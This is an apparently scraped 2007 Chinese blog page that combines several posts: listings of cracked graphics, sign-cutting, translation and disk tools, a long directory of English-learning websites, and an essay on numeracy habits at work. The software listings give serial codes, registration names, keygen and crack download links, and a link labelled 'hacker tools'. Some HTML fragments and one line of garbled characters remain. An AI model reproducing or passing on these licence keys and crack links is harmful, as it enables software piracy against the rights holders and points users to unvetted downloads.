  6、赠送文泰千年图库光盘,内含上万种各类图库。例如中国的祥禽瑞兽、吉祥装饰艺术、卡通图片等等。
  7、独特的输出精度补偿,可以有效地分别纠正机械精度误差,从而提升你的刻字机精度。
  8、最新优化的顺序输出功能,在顺序输出的同时,又以字为单位,有效解决部分刻绘机失步,纸前
进方向误差的问题,又能提高输出的效率。
  9、弧排和沿线排版的位置和角度均可任意修正,方便使用,任你摆布。
  10、独特的替换复制功能,方便快速制作各种胸牌,号码牌等。
  11、沿线排版功能,能够让任意图形和文字沿您所指定的路线排列。
第一次发东西。有不如意的地方请大家见谅。学习ing
一般24小时在线,偶尔关机做个系统备份。
Artcut6PRC是官方的升级补丁
WENTAI.iso是安装盘
WENTAI
1是千年图库(钥匙盘)
都是原版100%克隆,未做任何改动,已经测试了很久,使用正常。
520)this.width=520;" src="http://www.kw2000.com/software/image/wt2002_1.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://lib.verycd.com/2005/04/01/0000044451.html
10.超级画笔
PowerPaint 2.1
软件大小:4024KB
软件语言:英文
软件类别:国产软件 / 注册版 /
图像制作
运行环境:Win9x/NT/2000/XP/
软件更新:2005-5-9 7:26:55
页面刷新:2005-5-9
9:41:10
下载次数:2516
软件介绍:
代替Windows画笔的最好工具:1、近百种图形样式(似Microsoft
Office 中的
Word); 2、对图形有10种渐变填充方案、50种图案填充方案、几十种线型..; 3、程序自带几千个标微库;
4、对图像有20种渲染优化方案(似Photoshop,如改变三基色、调整亮度对比度、风化效果、马赛克效果、指定透明颜色等)
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>超级画笔 PowerPaint v2.1:http://www.piaodown.com/down/down.asp?id=7002&no=1
超级画笔
PowerPaint v1.26 注册机:http://www.piaodown.com/down/down.asp?id=7002&no=2
11.创新儿童魔力画匠(Creative
Painter) 3.3 完全版
运行环境 Win9X/WinXP/Win2000/ 软件语言 简体中文
整理时间
2005-5-23 2:31:20 软件类型 破解软件
授权方式 免费软件
软件大小 14.09 MB
下载统计 本日:4
本周:266
本月:337 总计:1052
软件简介∷
Creative Painter
一款专为儿童设计的魔力画匠软件。它将帮助孩子们实现成为艺术家的梦想!即刻开始,利用拖放就可得到一幅美好的图画。拥有Creative
Painter,孩子们就将喜欢上绘画!媲美金山画王。简直太像了,也不知道谁克隆谁的。魔术棒、动画设计和静态画面设计、涂色图库等功能更具特色。全鼠标*作,虽然没有一个文字,但是图标化设计,简单明了,儿童一看就会!
小孩子天真可爱,他们的绘画往往创意独特。要在电脑上让他们发挥自己的创意,这对将来培养他们学电脑非常有帮助。Creative
Painter
2004是一款特别适合于儿童卡通动画制作的工具,它既可以使用手绘方式在画布上涂鸦,还可以直接调用软件里内置的各种静态和动态素材,随意拖曳就可以生成自己的卡通画或动画片。
Creative
Painter
的界面简洁活泼,全部工具均以图标方式设置,没有任何的菜单命令,孩子们会很快上手。在画布窗口的底部有一排十分形象的工具箱,这里内置了毛笔、铅笔、油笔、喷枪、局部变形(放大镜)等绘画工具,尽可以在这里充分发挥你的想象力,在画布上信手涂鸦,练习各种工具的使用,画出你喜欢的图画。
孩子没有绘画基础怎么办?别急,你只要在主窗口右下角点击,就能切换到模型模式,这里内置了大量的背景、卡通和动画模板,小朋友们可直接调用。选择类别后窗口右侧就会弹出该类的全部模板,选择一种模板后直接拖曳到画布上就可以了。
值得一提的是系统内置的“素描”素材和“动画”素材,“素描”素材是一些线条勾勒的图画,小朋友可以用它作为基底,使用手绘工具练习填色,增加自己的色彩表达能力;而“动画”素材可以让小朋友们在背景图片上,根据自己的喜好添加一些栩栩如生的卡通动画,制作自己的动画片,而且只须拖曳即可。由于未注册版本没有提供保存功能,小朋友可在爸爸妈MD指导下使用SnagIt
屏幕抓图工具,把你的作品保存下来。SnagIt不仅可以保存静态图片,还可以定义为任意区域视频捕捉方式,将屏幕上活动的动画片截取下来。由于素材动画的动作周期不超过5秒,只要截取几秒钟的视频就可以了,保存为AVI文件也不过几百KB,发给别的小朋友看一看,是不是很有成就感呢?
创新儿童魔力画匠(Creative
Painter) 3.3 Final 正式版
Code:KeAPJWVhVhAf4cFPbXB7
520)this.width=520;" src="http://soft.mumayi.net/upimages/2005-3/200531279696609.jpg" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://soft.mumayi.net/Software/Catalog176/828.html
12.FlexiSIGN
Pro V7.5v5 (雕刻软件)
软件分类: 国外软件 / 破解版 / 辅助设计
适用平台:
Win9x/NT/2000/XP/Win2003
文件大小: 131M
整理日期: 2005-1-30 5:30:03
程序语言: 英文
总计下载: 5232
软件介绍:
美国彩艺软件,世界一流彩艺刻绘软件fdsa
FlexiSIGN Pro
V7.5v5
电脑切割系统,在台湾也已经有超过 1000家的使用者,
更适合所有需要将影像图形或商标转换成向量格式的行业,
全世界叫她
Flexisign,在台湾你可以叫她【美国大割大】
SCANVEC 和 AMIABLE Technologies Inc.
为全球最受 欢迎之专业广告创作软件
生产商。全球用户超过 90,000。于 1998 年,两公司决定合并成为 SCANVEC
-
AMIABLE。
SCANVEC - AMIABLE 之产品以致力开发多功能,领先科技之尖端产品,采用大量
CAD
工业之复染技术,高精度的数字运算溶合于创新之图形介面之中。所有软件
提供 Windows 及 Macintosh
的平台*作系统版本及提升高级版本。现时,产品
范围包括电脑切割系统,其主力产品为FlexiSIGN Pro
V7.5v5,广泛的应用于美工切
割系统之中
英文产品详细介绍请至
http://www.scanvecamiable.com/Products/flexi75.htm
520)this.width=520;" src="http://avtonim.ru/images/soft/flexiscr.jpg" width=520 onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.aeromatrix.com/products/x06scnxx.jpg" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
分卷1:http://www.9iv.com/down/down.asp?id=1978&no=1
分卷2:http://www.9iv.com/down/down.asp?id=1978&no=2
分卷3:http://www.9iv.com/down/down.asp?id=1978&no=3
破解:http://www.9iv.com/down/down.asp?id=1978&no=4
13.Poser6 光盘镜像
软件类型: 行业软件/注册软件
软件语言: 英文
运行环境: Win9X/Win2000/WinXP/
软件大小:
765 MB
整理时间: 2005-9-30 13:58:00
软件简介:
poser6 光盘版
人物三维动画专业建模软件。
Curious Labs 近日发布关于 Poser 6
的消息,并称作为出色的角色及其动画制作软件的最新版 Poser 6 ,将在今春正式发布,同时出售它的特别版以志祝贺Poser
6的推出,这个特别版将把Poser
6及Winter Queen Figure Pack角色包、Shade 7 designer
LE一同捆绑销售,仅需要239美元 / 219欧元 /
150英镑,就能得到价值超过400美元的上述软件及附属品甚至更多。而Poser
6单独的定位价格将是249美元 / 229欧元 /
157英镑。
新特性
#1 新的影子捕捉
#2 新的灯光特性
#3
增强渲染效果
#4 新的光影效果
#5
新的软件加速和OPENGL加速
Poser6,是面向艺术家和动画片制作者的3D人物设计&动画片的工具。
从预先准备的丰富多彩的人物,动物模型可以制作3D人物。因为Poser的革新性接口,可以简单高速地进行人物设计,暂停和动画片的设定。脸部写真,可调节长度和风格的头发,与动作相协调的动态服饰等使制作的3D人物更加具有真实感。所制作的人物,可以作为静止画或者电影,在WEB,印刷,录象作品中快速地导出。
可以自在设定的3D模型能够极大拓展你的3D表现幅度。
520)this.width=520;" src="http://219.146.83.50:8080/toolsimg/050930/po06.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://down.kittygd.com/Software/Catalog23/551.html
14.精灵画笔之大天使
Wizardbrush V6.5
软件大小:3689KB
软件语言:简体中文
软件类别:国产软件 / 破解版 /
图像制作
运行环境:Win9x/NT/2000/XP/
软件更新:2005-3-10 1:18:48
页面刷新:2005-3-10
1:18:49
下载次数:3461
软件介绍:
精灵画笔系列软件拥有功能卓越的各种绘画工具,不仅可以创作出与常规画法一样的作品,最有用的就是可以制作出常规情况下无法实现的作品,比如同时使用油画和水彩画的技巧,在油画中实现透明技巧等。由于随时可以Undo,并且可以使用橡皮擦,创作国画更加得心应手,完全改变国画需要一气呵成的创作方法。优软对自己产品的要求近乎苛求,绝不好大喜功,我们在细节的地方体现对您的服务:风格独特*作方便的用户界面,第一等流畅平滑自然的绘画线条,对压力感应绘图板,立体声卡,扫描仪,数码相机等设备的出色支持,让您充分享受现代化绘画创作的乐趣。
Name:piaodown
Code:PAS8-SG64-P4KA-KQN3
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
精灵画笔之大天使
Wizardbrush
V6.5:http://www.piaodown.com/down/down.asp?id=9051&no=1
精灵画笔之大天使
V5.86 破解补丁:http://www.piaodown.com/down/down.asp?id=9051&no=2
精灵画笔之大天使
Wizardbrush V6.06 简体中文版:http://www.piaodown.com/down/down.asp?id=9051&no=3


[推荐]学驾驶视频(六集)

高速下载汽车驾驶视频教程(共六集)

要下趁快(用网际快车下载)

点击下载->第一集

点击下载->第二集

点击下载->第三集

点击下载->第四集

点击下载->第五集

点击下载->第六集

posted @ 2007-10-04 12:05 MEYE 阅读(2802) | 评论 (4)编辑 收藏
[推荐]以色列最强大的英文翻译软件Babylon-Pro6.0.1注册版


来自以色列最强大的英文翻译软件 - Babylon Pro,在全球已有超过 70 个国家 2 千 2 百万人使用。Babylon-Pro 提供最专业英文翻译,有别于一般的翻译软件,Babylon 最迷人的是可外加其它语言字典,提供让您翻译一次可同时得到其它语言的翻译。例如您的字典清单中有英英、英中、英德、英日、英韩的字典时。当您查询一个英文单字时,她便同时一次给您所有英中德日韩文的翻译用法:

USER: Andr Forum
SERIAL: A7330D950A66F5830A66D740

下载地址:http://www.mikebox.com/get_code.php?code=35437b5c6d86cd49b06902cb3a5a1148

黑客工具: http://bbs.1g.cn/Announce/Announce.asp?BoardID=102&ID=97892&p=2&q=1&r=24308










PerfectDisk v8.0 汉化注册版[高效专业的磁盘碎片整理工具]
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="http://a.uu1001.com/uu/2chao/Mon_0701/2_1_6a6b4ce81675462.gif" width=520 onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="http://a.uu1001.com/uu/2chao/Mon_0701/2_1_93489c07bcd23ac.gif" width=520 onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>

运行环境:Win9X/Win2000/WinXP/Win2003
软件语言:简体中文
软件类型:国外软件 - 系统工具 - 磁盘工具
授权方式:免费软件
软件大小:8.5 MB
推荐星级:★★★★

PerfectDisk下载介绍:这个软件是打着比 DiskKeeper 又快又好的口号来宣传!经过试用,这个程序比那个 VOptXP 整理效果绝对好多了!说实话,后者整理很快是个假象而已,其实磁盘文件很多都没有经过优化,况且软件加密方面也恶心得很。强烈建议大家改用这个软件!还可透过网络连线对远端电脑做硬盘或软盘重整功能。无论磁盘文件是 FAT 或是 NTFS 格式皆可以聪明地分析磁盘文件格式,安全、快速地将硬盘或软盘不同磁区的文件和目录作重整,保持硬盘或软盘文件的连续,存取文件更有效率。

下载地址:http://www.mikebox.com/get_code.php?code=312a869e9c955b6b64ec0552ea8e2a6a
posted @ 2007-10-04 11:30 MEYE 阅读(784) | 评论 (0)编辑 收藏

世界上最好的帖子, 经典网址合并于此

世界上最好的帖子, 经典网址合并于此
1、搜索网站:
  http://www.google.com 全球最强大的搜索网站。在语言学习中,它的功能至少包括:
  搜索新词可用之语境、确认某种搭配或用法是否准确、通过同时输入中文及"English"寻找可能存在的双语介绍、查询文学作品译本、了解某一类事物的相关知识等。
  http://www.yahoo.com 雅虎分类检索。
  
2、汉英、英汉、英英、汉汉词典:
  http://www.iciba.net/ 金山词霸网站,可以下载部分字典软件的共享版,英汉之间各种转换都有。词条数一般在百万以上。建议还是直接去买软件好,作为案头常备工具,还可随点随译。
  http://sunrain.net/ 太阳雨汉英英汉词典,内容丰富,可以添加词汇,并有水平不错的论坛。
  http://www.m-w.com/ 韦氏大词典,英英,韦氏字典家族尽览。
  http://www.thesaurus.com/
http://www.dictionary.com 综合词典,同义词/反义词,分类,英英。
  http://dico.isc.cnrs.fr/dico/en/search 同义词电子词典,英英。
  
3、百科辞典
  http://www.bartleby.com/reference/ 美国最大的免费在线参考网站。下有Columbia Encyclopedia, Roget's Thesauri, American Heritage Dictionary, Columbia History of English and American Literature等众多参考词典。更新快,内容丰富。英文。
  http://www.encycolpedia.com 在线简明哥伦比亚百科全书,有5万多词条。英文。
  http://education.yahoo.com/reference/encyclopedia/index.html 在线简明牛津百科全书。英文。
  http://s9.com/biography/search.html 人名词典,可通过名字、关键词或时间查询28,000位世界著名人物的简要介绍。英文。
  http://www.getty.edu/research/tools/vocabulary/tgn/index.html 地名大词典。英文。
  http://www.db66.com/index.shtm 新近开通的知识在线,号称网上最大中文知识库,有世界知识、中国文物、音乐、体育、历史等百科全书。需要注册。
  http://www.xingfusi.com/fxd/lookup.htm 六合一佛学大词典,每个词条都有详介及英语译法。
  http://www.al-islam.org/encyclopedia/index.html 英文伊斯兰教百科全书。
  http://www.carm.org/dictionary.htm 英文基督教神学词典。
  http://www.ask.com/ 最常用的提问网站,可以通过查询分类查找问题答案,也可上帖提问。
  
4、翻译
  http://www.bilinguist.com 汉英论坛,高手云集,可上贴提问,回答率高。
  http://www.chinatranslate.net 中国翻译网,号称全国最大的翻译专业网站。知识全面,但更新较慢。
  http://gb.transea.com/ 机器即时翻译,适合整体翻译网站及段落,但不够准确。适合一般人。
  http://www.cn-trans.com/ 译者俱乐部,个人网站,其精选短文与翻译论坛尚可。更新慢。
  http://www.jbfeng.com 自由翻译者冯京葆的个人网站,包括翻译知识、译坛趣事等。更新慢。
  http://www.rahul.net/lai/companion.html 翻译者家庭助手。英文。
http://www.word2word.com/free.html 免费网上翻译服务
www.worldLingo.com 免费网上翻译服务

  
5、语法、阅读、教学、写作
  http://wfwok.topcool.net/grammar.htm 比较详尽的语法教程,包括练习,可下载。
  http://home.njenet.net.cn/ewriting/w/ewriting.htm 东南大学研究生写作课程,只有7单元,对提高阅读和写作能力却很有帮助。
  http://www.edufind.com/english/grammar/subidx.cfm 英文在线教学网站的语法部分,120条。
  http://www.englishchina.com/ 英语中国,有丰富的站点链接,更新较慢。
  http://webster.commnet.edu/writing/writing.htm 英文写作助手。多种国外资源链接。
  
6、社区、听力、口语、演讲
  http://www.crazyenglish.org 疯狂英语俱乐部。英语学习方法、教程、各种最新资料。
  http://www.hongen.com/eng/index.htm 洪恩在线。英语学习社区。外教讲座。
  http://edu.china.com/zh_cn/elearn/second/test/index.html 提高英语听力的方法。
  http://www.tingli.com/ 听力网,众多时文,可下载收听,用REALPLAYER。
  http://www.listeningexpress.com/ 部分VOA、BBC、NCE的听力材料.
  http://yyenglish.myrice.com/pages/data1.htm 羊羊的听力资料库,网况良好时请多多下载。
  http://www.un.org/av/ 联合国广播,需待网况良好时使用。
  http://broadcast.yahoo.com雅虎广播站,多个频道。需相应网速。
  http://www.historychannel.com/speeches/ 美国历史频道演说集,需要REALPLAYER。
  http://www.americanrhetoric.com/speechbank.htm 强大的名人演说集(文本+录音)。可搜索。
http://library.westmont.edu/bibinst/Search...惭萁擦废白试础?/a>
  http://www.lunli.com/index.html 赛博风:在网络中听英语(EXCELLENT)
  http://www.listeningexpress.com/ 英语听力特快
    
7. 综合类
  http://www.360abc.com/ 世博英语
  http://www.icansay.com/ 英文锁定, 精彩我来说
  http://language.chinadaily.com.cn/index.html chinadaily--Language Tips
  http://groups.google.com/groups? ... .humor.funny.reruns 英语笑话NEWSGROUP,都是精品
  http://english.chinaschool.net/main.html 天天英语
  http://www.chineseworld.com/publish/37_9999.r/r.asp 世界日报-生活美语
  http://www.iselong.com/ 万千英语族
  http://www.englishww.com/ 旺旺英语
  http://www.5ixx.com/ 51XX英语资料下载
  
8. 英语考试
  专门是针对各种英语考证TOFEL,GRE,GMAT,IELTS,ESL www.51ielts.com
  ESL 学习 http://www.eslweb.net/
  DOWNDOWDOWN -很多可下载考试资料 http://www.downdowndown.net
  寄托天下 www.gter.net
  托福上游 http://vip.6to23.com/toptoefl/
  太傻 http://www.taisha.org/
  Test Tutor http://www.testtutor.com
  免费学习GRE的好网站(E) www.number2.com
  TestMagic.com(E) http://www.testmagic.com/
  
9. 英语电台 这类专门是提供各种优质英语电台
  http://webcri.cri.com.cn:8000/news/expenew 中国国际广播电台英文页
  http://210.77.152.231/dianbo.asp 中央人民广播电台第二套节目 阳光英语时段,包括〈大家说英语〉和〈初级美国英语〉 网上随时听!!!
  http://www.cnradio.com 中央台第一套网络直播节目每晚 22:30 空中英语教室(一、三、五);美国英语教程 (二、四、六)。中央台第二套网络直播节目每天清晨 6:00 阳光英语!
  http://www.shanghai-window.com/sbc/abc/teach/index.html 上海人民广播电台 英语教室
  http://www.taichungnet.com.tw/home/live.ram 台湾台中生活资讯广播 每天清晨6:00---7:00 《大家说英语》《英语空中教室》
  http://www.csbc.com.tw/menu8.htm 台湾正声广播公司 FM调频台Windows media Player 按时LIVE 收听 清晨:06:00--07:00 〈What's up What's new> <大家说英语〉 晚间:21:30--23:30 〈大家说英语〉〈空中美语文摘(高级)〉〈我爱英文杂志广播课程〉〈活用空中美语〉
  http://www.twr.org.hk/gb/OnAirF.html 香港环球电台学英语节目〈轻轻松松学英语〉内容丰富,趣味横生 主持人:安平
  http://www.dwelle.de/chinese/Welcome.html 德国之声,这是我听到的音质最好的网络广播!有德语教学
  http://www.rcinet.ca/Scripts/default.asp?s1=CoursDeLangues 加拿大对华广播,有英语教学和法语教学
  http://www.abc.net.au/ra/mand/education/default.htm 澳洲对华广播,有英语教学
  http://www.rfi.fr/ 法国对华广播,收听法广新闻,世界就在你家里!
  http://www.voa.gov/chinese/ 美国之音,有英语教学(需要代理访问)
  http://news.bbc.co.uk/hi/chinese/learn_english/default1.stm 英国BBC,BBC的英语教学办得最好!(需要代理访问)
  http://rki.kbs.co.kr/Chinese/index.asp 南韩网络广播中文页,有韩国流行音乐!!!TOP TEN 立体声REALPLAYER收听,大量影 音资料,棒极了!!!
  http://www.raweb.com.tw/ 全球地方网络广播大全!点击之间,你能听到来自世界各个城市广播电台的即时声音,有 瞬间置身异域之感!个别电台没有声音,你可以在打开Listen Live的REAL地址里,找到所属电台的主页.
  http://www.rsi.com.sg/ch/ 新加坡国际广播电台,有英语教学,双 语 桥 系 列,Windows media Player收听。
  http://www.cctv.com/life/hopeeng/2001NO10/lookworld.html CCTV央视希望英语杂志,双语页面!同步电视节目:二套周日19:00首播 一套周六16:10重播
  http://www.rthk.org.hk/special/ome/watch.htm 香港无线翡翠台《英语一分钟》
  http://www.cts.com.tw 台湾华视 《英语教学》及《英语听讲练习》,《每日一句英语》等。。。有课程下载!
  
  多伦多电视台 http://211.101.4.110/chuanyu/51ielts/tv/duolunduo.htm
  温哥华晚间新闻 http://211.101.4.110/chuanyu/51ielts/tv/wengehua.htm
  澳大利亚音乐电视 http://211.101.4.110/chuanyu/51ielts/tv/aumusic.htm
  CCTV9(English) http://211.101.4.110/chuanyu/51ielts/tv/cctv9.htm
  news 1130 http://207.194.6.179/ckwx.asx
  98.1 CHFI: http://www.chfi.com/audio/chfi.asx offers contests, special features, a music chart, and more
  KOL fm: http://members.home.net/waveradio/listenli...en/wavelive.m3u
CFRB1010: http://www.cfrb.com/cfrb.asx includes news, sports, traffic, and weather.
  Kiss 92: http://kiss92.fm/ciss/content/mediaplayer/...index-kiss.html KISS92 Toronto's #1 Music Station
  Fan590: http://livefan.tetraconnect.com/livefan great news, talk, feature and live event programming.
  
10. 中国 常用背景材料(外交、政治、经济、文化)
  http://www.fmprc.gov.cn 外交部网站。双语,有针对各国的外交政策及概况等,案头必备。
  http://www.moftec.gov.cn 外经贸网站。双语,了解我国对外经贸情况必备。翻译园地颇具规模。
  http://www.peopledaily.com.cn/item/zgjgk/main.html 中国机构及主要领导人资料。有英文。
  http://www.china.com.cn www.china.org.cn )中国互联网信息中心,由国新办合外文局领导。多语言网站。有中国知识、政府白皮书、中国文化产业报告等。
  http://www.ccnt.com.cn 中华文化信息网,由文化部领导,综合性强。英文部分属<中国文化艺术丛书>之英译本。
  http://www.chinavista.com/entravel/culture.php 介绍中国文化的双语网站,语言地道,内容丰富,包括各种菜谱等。但更新不快。
  http://www.chinapage.com/classic1.html 中国典籍,部分有英文版,特别是四书。
  
12、国际 常用背景材料(外交、政治、经济、文化)
  http://www.un.org 联合国。五种语言对照。包括新闻、发言、文件、活动等大量内容。
  http://www.unesco.org 联合国教科文组织。五种语言。材料丰富。
  http://www.europa.eu.int/index_en.htm 欧盟网站。
  http://www.oau-oua.org/ 非统组织。
  http://education.yahoo.com/reference/factbook/ 雅虎的世界知识网站,综合性强。
  http://www.countryreports.org/ 介绍世界各国情况的英文网站,有地区论坛。
  http://www.ispa.org 国际演艺界协会。有世界艺术网站链接。
  http://whitehouse.gov 美国白宫。了解美国政治必备。
  
13、 主要媒体、英语杂志
  http://www.peopledaily.com.cn 人民日报。多种语言。背景知识丰富。旗下多个热门论坛,包括英文论坛ChinaForum。
  http://www.xinhuanet.com/english 新华社。新闻量丰富,分类详尽。多种语言。
  http://www.chinadaily.com.cn 中国日报。国内最大英语新闻媒体。适合新闻搜索。
  http://www.cri.com.cn 中国国际广播电台。多种语言。内容丰富。文化内容多。下载方便。
  http://www.cctv.com.cn 央视国际网站。可提前一周下载节目预告。英语频道纪录片不错。
  http://www.scmp.com/ 香港南华早报。英文报纸,需注册。
  http://www.zaobao.com/bilingual/bilingual.html 新加坡《联合早报》汉英双语专辑,既有关于当代英语用法的讨论,也可了解亚洲人对于世界的若干观点。
  http://www.iht.com/frontpage.html 国际先驱论坛报。英文。
  http://www.worldpress.org/index.shtm 世界新闻综合评论。英文。
  http://www.nytimes.com 纽约时报。需要注册。英文。
  http://www.feer.com/ 远东经济评论。英文。
  http://dsc.discovery.com/ 探索杂志。
  http://www.nationalgeographic.com/ 美国国家地理杂志。
  http://www.discover.com <发现>科学月刊。英文。
  http://www.aldaily.com 世界文化、艺术、出版界动态及丰富的评论与知识。强大链接。英文。
  http://www.newyorker.com <纽约客>文化评论杂志
14.中英文歌词对照
http://www.english.ac.cn/songs/index.htm
http://music.liuxuan.com
15. 看童话,学英语!
http://www.fairybay.com.cn/jialin
16. 赴美留学网站
www.pku.edu.cn/resource/university/university.html
www.petersons.com/graduate/galpha.html
www.itc.com.cn/Foreign/college/state.html
www.liuxueguide.com/
www.usnews.com/usnews/edu/grad99/
www.studyabroad.com
www.SchoolsintheUSA.com (Undergraduate US programs)
www.GradSource.com (Graduate schools in Canada and the US)

www.GraduateBusiness.com(Graduate business and management programs)

www.GradSciEng.com (Graduate engineering and sciences programs)

www.GradFineArts.com (Graduate fine arts programs)

www.GraduateHealth.com (Graduate nursing and health programs)

www.GradEducation.com (Graduate teacher education programs)

www.CampusStarter.com
www.studyusa.com
www.usastudyguide.com
www.embark.com/grad/Choose/intro.asp
17. 法律英语词典
www.dictionary.law.com
18. 词汇学习网站
http://www.hungryforwords.com
posted @ 2007-09-06 11:19 MEYE 阅读(1290) | 评论 (0)编辑 收藏
培养数字敏感力的20个习惯
数学不好的人,数字能力就不好吗?对数字敏感的人,成本掌控能力就一流吗?虽然答案未必是肯定的,但想在工作上事半功倍,就必须养成对数字敏感的20个好习惯。
每每说到数字,人们下意识地就会说:「我数学最烂了!」而既然数学很烂,显然也就不会懂得太艰深的数学公式或原理,更别说是怎么应用了。所以,我们或许可以说,数学烂的人就无法将太高深的数学用在职场上,但有没有另一种可能的状况是:商场上所用到的数学,其实都不会很难,有专家说是不会超过高中数学程度;也有人说,只要会加减乘除即可。
这很容易得到验证,因为我们很少听到什么经营之神是数学家,反倒经常听到没读过什么书的杰出企业人士,对于财报数字了如指掌。
在工作场合里,我们会看到很多数字,但是我们不见得要计算这些数字,重点是对于数字要有一种「感觉」。感觉也许还是太过抽象,具体一点地说,就是要在心中对于数字所反映出来的真实,依据自己的专业与经验,建立起一套评断的标准,然后据以做出行动。
以下这20个数字力,不只是观念,更要养成一种习惯。如果在逐一检视之下,你发现自己已经多半具备,那恭喜你堪称「数字达人」,但如果发现自己缺了很多项,也不要觉得自己是「数字白痴」,因为它们都不难学会。
1.体认数字的重要性
「在商业世界里,数字非常重要。」这句话看似抽象,却很真切。数字就像是体检表,是行动的结果和评量的工具;数字也像是仪表板,可以指引方向和预测未来。
2.养成凡事附上数据与参考数据的习惯
数字是沟通、说服及谈判的重要依据。例如,如果你想建请增加设备,但是多次呈报申请书却都未经核可。可试着加上「增加投资设备,可达到总费用节省多少钱的结果」,让数字为你说话,或许就能提高通过的机率。
3.在评估或分析任何情况时,都试着将其数字化
简单明了的数字,十分有助于记录、信息传达、比较检讨及分析等商业行为。这就像是学习做一个「重视金额」的人,凡事不以感情(感觉、印象、善恶)做判断,而是以「金额」「数字」「比率」做为衡量的尺度。例如,如果认为举办宣传活动可提升产品知名度,那就试着将「知名度」换算成「金额」。
4.将PDCA循环应用在工作上
 在采取任何行动前,都要拟定计划(Plan),然后实际执行(Do),接着再检核(Check)结果与计划之间的落差,做为修正行动(Action)的参考。
5.经常以矩阵图思考问题
面临错综复杂的问题时,可以矩阵图加以展开,从中可发掘出未曾发现的问题点,然后再依据问题点的急迫性与重要性,研拟对策。
6.有时间观念
假设A公司1小时能处理1单位的工作量,B公司则是1小时10单位,这个10倍的差异,可换算成B公司1年处理的工作量,A公司得耗时10年。时间既可以换算成金钱、效率,更速度的展现。因此,有数字力的人不会虚度光阴,也会守时、守信用。
7.有效运用资金
要发挥金钱的价值,就必须在使用金钱之前,预测效果或效益如何,使用之后更要详细确认。在日常生活中,养成大小事情都必以「损益计算」的方式来思考。
8.养成计算「合计值」的习惯
许多人都有类似经验,那就是错误的数字往往像滚雪球一般,进货量、销售量或库存量的登记,有时候是一个项目出错,就连带一直错下去一样。因此,对于图表内的数字或金额,习惯性地进行加总,方便于在做整体控管时,能够依重要程度判定优先级。
9.将所有目标都数据化
日产汽车(Nissan)执行长卡洛斯‧高恩(Carlos Ghosn)曾说:「无法数据化的目标,我无法执行。」有时候,组织的愿景或任务,都是较为抽象的,因此要落实为具体的数字,才能执行与评量。
例如,可将「拓展人脉」这项目标,转化为「每个月与人交换30张名片,而且日后与其中5位保持联系」;或是将「加强广告活动」转化为「向15家媒体宣传,达到8家确实刊载」。
有时候,如果目标较为远大,则为了让目标具体可行,最好能将目标区分为近程、中程和长程三阶段,然后再决定每一段时期要达成的目标。这个过程就是所谓的「倒算力」,亦即为了达成远程的目标,往回推算中程、近程应该做什么,甚至近到这个月、这星期或现在就该做什么,做为达成目标的查核点。
10.追究数字出错的原因
数字出错时,不是更正即可,更要探究导致错误的原因,并且提出预防过失再度发生的对策。
11.保留数字修正的纪录
将错误的数字更正后,仍要保留原本(错误)的数字,一方面可供日后检视修正过程的原委,另一方面可做为重要的检核点,因为修正过的数字,仍有可能出错,因此「修改纪录」可做为审慎计算的重要提醒。
12.随时掌握最新的数据
过时的数据不但没有意义,甚至会造成误导,因此一定要迅速、正确地处理数据,随时将数字的纪录更新成最新的数据。
13.数字是两面刃
数字固然是沟通与说服的利器,但是若恶意扭曲,则会成为欺诈的工具。许多企业弊案就是起因自窜改财报数字,试图欺骗视听。
14.计算会议成本,检视费用与成果之间的关系
英特尔(Intel)董事长安迪‧葛洛夫(Andy Grove)曾以「经理人的时薪 × 会议时数」计算会议的成本,藉以说明会议的召开必须有效率和具体成果,否则就是浪费人力与资源。换言之,与会者的位阶愈高、人数愈多、时数愈常,则会议的成本就愈高。因此,若会议成本低于回收成果,就没有开会的必要。
15.计算公司各部门的成本开销
这是一种「磨练经营感觉」的好方法,因为无论是各行各业,以及组织内的各个部门,都要做成本控管。成本可以决定产品售价(成本+利润=售价),而透过成本内容的分析,则有助于了解哪些项目成本过高或效率不彰。
16.了解公司的基本损益构造,并且知道问题所在
会计的最基本原则就是简单的减法:利润(损失)=营业额-费用;现金=收入-支出。懂得了这个简单的算式,就可以感觉与现实的之间差异,同时找到企业为何亏损的关键。企业想提升利润,唯一的方法就是增加收入、减少费用,但如果二者相减之后为负,就会出现亏损。
这样虽然简化了公司的损益构造,但是却可以做为思考问题的起点和线索。例如,如果公司都没赚钱,但还是会产生费用,那为了不让损失扩大,可以减少哪些开销,进而构思对策与采取行动。
17.制订重大投资的决策时,能评估效益和风险
无论是设备投资或其它金额庞大的投资计划,在预估收益和现金流量时,至少都要估计出乐观与悲观的情势,而且最后在做判断时,通常是依据悲观的案子做决定,亦即有做好面对失败的准备(最大的损失就是这个程度)。
18.从经营者的角度分析公司的财务报表
不只是看懂各类财务指标而已,还要能够看出背后的管理意涵,找出公司的优势与弱点。此外,也要尽可能掌握同业竞争者及其它产业的财务报表上的经营要点。
看懂财报的基本技巧是,财报不要用「读」的,而用「找」的方式,亦即立刻找出财报中有问题的关键数字。
最重要的则是「比较」,因为比较与竞争是一体两面的事,因此不但要比较公司过去一年的财报数据中,什么数字攀升或骤跌,也要比较同业竞争者或其它行业在财报上显现的重要数字。
19.对于公司的税务有基本的认识
